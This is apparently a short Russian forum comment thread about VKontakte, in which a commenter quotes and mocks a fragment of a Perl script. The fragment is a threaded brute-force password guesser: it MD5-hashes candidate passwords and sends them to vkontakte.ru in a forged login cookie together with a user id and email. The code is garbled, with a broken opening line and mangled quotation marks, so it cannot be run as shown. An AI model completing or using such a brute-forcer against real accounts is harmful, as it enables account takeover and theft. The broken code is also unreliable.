Да межу прочем поелоники могут быть только у тех у кого рейтинг больше 200

а это вообще бредятина какая то

open (pass, “create(\&Brut, $_);}
for(@trl) { $_->join; }

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>’tcp’,PeerAddr=>’vkontakte.ru’,PeerPort=>80);
print $sock “HEAD http://vkontakte.ru/ HTTP/1.0\r\n”.
“Host: vkontakte.ru\r\n”.
“Accept: */*\r\n”.
“Content-Type: application/x-www-form-urlencoded\r\n”.
“User-Agent: Mozillo\r\n”.
“Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n”.

Меня улыбнул скрипт open (pass, “